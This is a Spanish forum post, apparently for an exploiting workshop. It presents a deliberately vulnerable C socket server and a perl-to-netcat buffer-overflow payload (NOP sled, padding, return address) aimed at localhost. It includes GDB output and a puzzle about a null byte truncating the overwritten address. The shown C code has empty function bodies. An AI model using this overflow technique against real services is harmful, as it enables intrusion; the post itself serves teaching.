Código
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
buffer [cont-1]='\0';
Código
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335
Un saludo!
____________________________________________________________________________________________________________
Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.
Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
#include <sys/socket.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <time.h> int socketfd, newsocket; int feo () { } int vuln (char *trampa) { char buffer [100]; } void shutup (int signal) { times (); close (newsocket); close (socketfd); } int times () { struct tm *ahora; char buffer [40]; return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; if (getuid()!=0) { return 1; } if (argc<2) { return 1; } int cont; struct sockaddr_in client, host; char buffer [1024]; int size=sizeof (client); socketfd=socket (2, 1 , 0); host.sin_family=AF_INET; host.sin_addr.s_addr=0; bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (socketfd, 3); times (); signal (SIGTERM, shutup); signal (SIGINT, shutup); while (1) { newsocket=accept (socketfd, (struct sockaddr*)&client, &size); times (); cont=recv (newsocket, &buffer, 1024, 0); while (cont>2) { times (); buffer [cont-1]='\0'; vuln (buffer); cont=recv (newsocket, &buffer, 1024, 0); } times (); printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port)); close (newsocket); } close (socketfd); return 0; }
Y lo estaba explotando con este comando...
Código:
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335
Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07 Starting up...
18/02/2011 00:02:10 Got connection from 127.0.0.1:57358
18/02/2011 00:02:10 RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��
Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)
La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.
Ganadores
Nadie xD